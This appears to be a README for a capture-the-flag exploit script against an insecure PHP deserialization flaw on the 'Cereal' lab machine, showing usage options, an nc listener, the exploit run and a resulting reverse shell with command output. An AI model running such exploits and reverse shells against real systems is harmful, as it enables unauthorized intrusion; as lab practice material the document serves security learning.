Cereal CTF - Insecure PHP Deserialization Exploit

An exploit for an insecure deserialization flaw in Cereal CTF web application, specifically the http://secure.cereal.ctf:44441/ endpoint.

Usage

General Usage

cereal.py [-h] -lhost IP_ADDR -lport PORT_NUM [-dbg]

Options

• -h: show help message and exit.
• -lhost: local ip for reverse connection.
• -lport: local port for reverse connection.
• -dbg: enable script debugging.

Example

Setup Listener

nc -lvp 1234

Send PHP Serial Object Payload

./cereal.py -lhost 192.168.56.137 -lport 1234 -dbg

(info) targeting http://secure.cereal.ctf:44441/
(info) sending malicious php serial object to target.
(info) exploit post finished with code <504>

Reverse Shell

listening on [any] 1234 ...
connect to [192.168.56.137] from cereal.ctf [192.168.56.139] 57984
uname -a
Linux cereal.ctf 4.18.0-240.22.1.el8.x86_64 #1 SMP Mon Apr 12 04:29:16 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux